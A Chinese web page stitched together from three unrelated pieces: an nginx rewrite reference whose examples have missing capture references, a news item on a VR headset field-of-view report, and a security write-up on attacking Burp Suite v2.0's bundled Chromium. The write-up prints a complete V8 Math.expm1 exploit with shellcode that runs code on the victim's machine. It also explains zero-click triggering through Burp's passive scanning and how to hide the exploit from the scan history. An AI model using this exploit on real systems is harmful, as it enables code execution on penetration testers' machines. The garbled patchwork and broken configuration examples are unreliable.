ginx 的 rewrite 語法
語法: rewrite regex replacement flag
默認: none
作用域: server, location, if
此指令根據表達式來更改URI,或修改字符串。
指令根據配置文件中的順序來執行。
注意:
重寫表達式只對相對路徑有效。如果想配對主機名,應該使用if語句。
rewrite只是會改寫路徑部分的東東,不會改動用戶的輸入參數,因此這里的if規則里面,你無需關心用戶在瀏覽器里輸入的參數,rewrite后會自動添加的,因此,只是加上了一個?號和后面我們想要的一個小小的參數 ***https=1就可以了。
nginx的rewrite規則參考:
~ 為區分大小寫匹配
~* 為不區分大小寫匹配
!~和!~*分別為區分大小寫不匹配及不區分大小寫不匹
-f和!-f用來判斷是否存在文件
-d和!-d用來判斷是否存在目錄
-e和!-e用來判斷是否存在文件或目錄
-x和!-x用來判斷文件是否可執行
last 相當于Apache里的[L]標記,表示完成rewrite,呵呵這應該是最常用的
break 終止匹配, 不再匹配后面的規則
redirect 返回302臨時重定向 地址欄會顯示跳轉后的地址
permanent 返回301永久重定向 地址欄會顯示跳轉后的地址
$args
$content_length
$content_type
$document_root
$document_uri
$host
$http_user_agent
$http_cookie
$limit_rate
$request_body_file
$request_method
$remote_addr
$remote_port
$remote_user
$request_filename
$request_uri
$query_string
$scheme
$server_protocol
$server_addr
$server_name
$server_port
$uri
結合QeePHP的例子:
復制代碼代碼示例:
if (!-d $request_filename) {
rewrite ^/([a-z-A-Z]+)/([a-z-A-Z]+)/?(.*)$ /index.php?namespace=user&controller=&action=& last;
rewrite ^/([a-z-A-Z]+)/?$ /index.php?namespace=user&controller=last;
break;
多目錄轉成參數
復制代碼代碼示例:
abc.domian.com/sort/2=> abc.domian.com/index.php?act=sort&name=abc&id=2
if ($host ~* (.*)\.domain\.com) {
set $sub_name ;
rewrite ^/sort\/(\d+)\/?$ /index.php?act=sort&cid=$sub_name&id=last;
}
映維網 2020年11月11日)繼VR頭顯追蹤精度測量報告之后,德國機構Virtual Dimension Center (VDC)日前又發布了一份名為《Head-Mounted Displays: Messung des Sichtfelds (Field of View)》的頭顯視場測量報告。
延伸閱讀:哪個VR頭顯的追蹤精度最高?德國VDC發布頭顯追蹤系統測量報告
有人或許會好奇,廠商不是已經公布了設備的規格信息嗎,這種測量報告又有何意義呢?對于這個問題的答案,研究人員認為正如會短斤缺兩的商販一樣,我們無法確認頭顯的實際視場是否就如廠商聲稱的一樣。另外,正如不同朝代對“斤”的重量定義不同,不同廠商之間或許采用了不同的測量標準。
所以,VDC希望以一種統一的科學計量方法來測量市面各款頭顯的視場。
在這份報告中,VDC共測量了14款VR頭顯的視場。研究人員采用了一個標準化的三維頭部模型,并用攝像頭代替眼睛。利用統一的測試圖像,研究人員可以分析各款頭顯的視場維度。
根據測試結果,對角線視場最大的VR頭顯是小派的8K系列,最大達到141.5度。三星玄龍約為102度,HTC Vive Pro約為96.5度。初代Quest的排名較后,約為85度。
根據頭顯廠商聲稱的數值,VDC同時給出了之于測量值的比較圖。如下圖所示,橙色柱子為各家廠商聲稱的頭顯視場,黑色柱子為VDC的測量數值,白色柱子則是兩者之間的差值:
我們可以看到,各款頭顯的聲稱視場與VDC的測量數值都存在不同程度的出入。其中,兩者差值最小的是惠普頭顯,反之則是小派的8K系列。
遺憾的是,測試的VR頭顯列表只有14款,而且大多為前代的產品,不包括當前熱門的VR頭顯,如Oculus Quest 2,Valve Index和Pico Neo 2等。
研究人員同時指出,盡管采用了統一的科學測量方式,但由于不同用戶的頭部形狀及IPD不盡相同,在配合不同的VR頭顯及選擇不同的配置時會存在視場方面的差別。
VDC的完整報告包括其他測量值,如水平視場和垂直視場。有興趣的讀者可以訪問下面的鏈接:
騰訊文檔:Head-Mounted Displays: Messung des Sichtfelds (Field of View)
原文鏈接:https://yivian.com/news/79780.html
Headless Chrome是谷歌Chrome瀏覽器的無界面模式,通過命令行方式打開網頁并渲染,常用于自動化測試、網站爬蟲、網站截圖、XSS檢測等場景。
近幾年許多桌面客戶端應用中,基本都內嵌了Chromium用于業務場景使用,但由于開發不當、CEF版本不升級維護等諸多問題,攻擊者可以利用這些缺陷攻擊客戶端應用以達到命令執行效果。
本文以知名滲透軟件Burp Suite舉例,從軟件分析、漏洞挖掘、攻擊面擴展等方面進行深入探討。
以Burp Suite Pro v2.0beta版本為例,要做漏洞挖掘首先要了解軟件架構及功能點。
將burpsuite_pro_v2.0.11beta.jar進行解包,可以發現Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系統下運行內置Chromium瀏覽器。
在Windows系統中,Burp Suite v2.0運行時會將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄
從目錄名及數字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件,其打包的Chromium版本為64.0.3282.24。
那如何在Burp Suite中使用內置瀏覽器呢?在常見的使用場景中,Proxy -> HTTP history -> Response -> Render及Repeater -> Render都能夠調用內置Chromium瀏覽器渲染網頁。
當Burp Suite喚起內置瀏覽器browsercore32.exe打開網頁時,browsercore32.exe會創建Renderer進程及GPU加速進程。
browsercore32.exe進程運行參數如下:
// Chromium主進程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
// Renderer進程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
從進程運行參數分析得知,Chromium進程以headless模式運行、關閉了沙箱功能、隨機監聽一個端口(用途未知)。
Chromium組件的歷史版本幾乎都存在著1Day漏洞風險,特別是在客戶端軟件一般不會維護升級Chromium版本,且關閉沙箱功能,在沒有沙箱防護的情況下漏洞可以無限制利用。
Burp Suite v2.0內置的Chromium版本為64.0.3282.24,該低版本Chromium受到多個歷史漏洞影響,可以通過v8引擎漏洞執行shellcode從而獲得PC權限。
以Render功能演示,利用v8漏洞觸發shellcode打開計算器(此處感謝Sakura提供漏洞利用代碼)
這個漏洞沒有公開的CVE ID,但其詳情可以在這里找到。
該漏洞的Root Cause是在進行Math.expm1的范圍分析時,推斷出的類型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)會返回-0的情況,從而導致范圍分析錯誤,導致JIT優化時,錯誤的將邊界檢查CheckBounds移除,造成了OOB漏洞。
<html>
<head></head>
</body>
<script>
function pwn() {
var f64Arr=new Float64Array(1);
var u32Arr=new Uint32Array(f64Arr.buffer);
function f2u(f) {
f64Arr[0]=f;
return u32Arr;
}
function u2f(h, l)
{
u32Arr[0]=l;
u32Arr[1]=h;
return f64Arr[0];
}
function hex(i) {
return "0x" + i.toString(16).padStart(8, "0");
}
function log(str) {
console.log(str);
document.body.innerText +=str + '\n';
}
var big_arr=[1.1, 1.2];
var ab=new ArrayBuffer(0x233);
var data_view=new DataView(ab);
function opt_me(x) {
var oob_arr=[1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
big_arr=[1.1, 1.2];
ab=new ArrayBuffer(0x233);
data_view=new DataView(ab);
let obj={
a: -0
};
let idx=Object.is(Math.expm1(x), obj.a) * 10;
var tmp=f2u(oob_arr[idx])[0];
oob_arr[idx]=u2f(0x234, tmp);
}
for (let a=0; a < 0x1000; a++)
opt_me(0);
opt_me(-0);
var optObj={
flag: 0x266,
funcAddr: opt_me
};
log("[+] big_arr.length: " + big_arr.length);
if (big_arr.length !=282) {
log("[-] Can not modify big_arr length !");
return;
}
var backing_store_idx=-1;
var backing_store_in_hign_mem=false;
var OptObj_idx=-1;
var OptObj_idx_in_hign_mem=false;
for (let a=0; a < 0x100; a++) {
if (backing_store_idx==-1) {
if (f2u(big_arr[a])[0]==0x466) {
backing_store_in_hign_mem=true;
backing_store_idx=a;
} else if (f2u(big_arr[a])[1]==0x466) {
backing_store_in_hign_mem=false;
backing_store_idx=a + 1;
}
}
else if (OptObj_idx==-1) {
if (f2u(big_arr[a])[0]==0x4cc) {
OptObj_idx_in_hign_mem=true;
OptObj_idx=a;
} else if (f2u(big_arr[a])[1]==0x4cc) {
OptObj_idx_in_hign_mem=false;
OptObj_idx=a + 1;
}
}
}
if (backing_store_idx==-1) {
log("[-] Can not find backing store !");
return;
} else
log("[+] backing store idx: " + backing_store_idx +
", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
if (OptObj_idx==-1) {
log("[-] Can not find Opt Obj !");
return;
} else
log("[+] OptObj idx: " + OptObj_idx +
", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
var backing_store=(backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
log("[+] Origin backing store: " + hex(backing_store));
var dataNearBS=(!backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
function read(addr) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx]=u2f(addr, dataNearBS);
else
big_arr[backing_store_idx]=u2f(dataNearBS, addr);
return data_view.getInt32(0, true);
}
function write(addr, msg) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx]=u2f(addr, dataNearBS);
else
big_arr[backing_store_idx]=u2f(dataNearBS, addr);
data_view.setInt32(0, msg, true);
}
var OptJSFuncAddr=(OptObj_idx_in_hign_mem ?
f2u(big_arr[OptObj_idx])[1] :
f2u(big_arr[OptObj_idx])[0]) - 1;
log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
var OptJSFuncCodeAddr=read(OptJSFuncAddr + 0x18) - 1;
log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
var RWX_Mem_Addr=OptJSFuncCodeAddr + 0x40;
log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
var shellcode=new Uint8Array(
[0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
);
log("[+] writing shellcode ... ");
for (let i=0; i < shellcode.length; i++)
write(RWX_Mem_Addr + i, shellcode[i]);
log("[+] execute shellcode !");
opt_me();
}
pwn();
</script>
</body>
</html>
用戶在通過Render功能渲染頁面時觸發v8漏洞成功執行shellcode。
Render功能需要用戶交互才能觸發漏洞,相對來說比較雞肋,能不能0click觸發漏洞?答案是可以的。
Burp Suite v2.0的Live audit from Proxy被動掃描功能在默認情況下開啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞。
其中JavaScript分析配置中,默認開啟了動態分析功能(dynamic analysis techniques)、額外請求功能(Make requests for missing Javascript dependencies)
JavaScript動態分析功能會調用內置chromium瀏覽器對頁面中的JavaScript進行DOM XSS掃描,同樣會觸發頁面中的HTML渲染、JavaScript執行,從而觸發v8漏洞執行shellcode。
額外請求功能當頁面存在script標簽引用外部JS時,除了頁面正常渲染時請求加載script標簽,還會額外發起請求加載外部JS。即兩次請求加載外部JS文件,并且分別執行兩次JavaScript動態分析。
額外發起的HTTP請求會存在明文特征,后端可以根據該特征在正常加載時返回正常JavaScript代碼,額外加載時返回漏洞利用代碼,從而可以實現在Burp Suite HTTP history中隱藏攻擊行為。
GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
JavaScript動態分析 + 額外請求 + chromium漏洞組合利用效果:
默認情況下Java發起HTTPS請求時協商的算法會受到JDK及操作系統版本影響,而Burp Suite自己實現了HTTPS請求庫,其TLS握手協商的算法是固定的,結合JA3算法形成了TLS流量指紋特征可被檢測,有關于JA3檢測的知識點可學習《TLS Fingerprinting with JA3 and JA3S》。
Cloudflare開源并在CDN產品上應用了MITMEngine組件,通過TLS指紋識別可檢測出惡意請求并攔截,其覆蓋了大多數Burp Suite版本的JA3指紋從而實現檢測攔截。這也可以解釋為什么在滲透測試時使用Burp Suite請求無法獲取到響應包。
以Burp Suite v2.0舉例,實際測試在各個操作系統下,同樣的jar包發起的JA3指紋是一樣的。
不同版本Burp Suite支持的TLS算法不一樣會導致JA3指紋不同,但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測只需要將每個版本的JA3指紋識別覆蓋即可檢測Burp Suite攻擊從而實現攔截。
本文章涉及內容僅限防御對抗、安全研究交流,請勿用于非法途徑。
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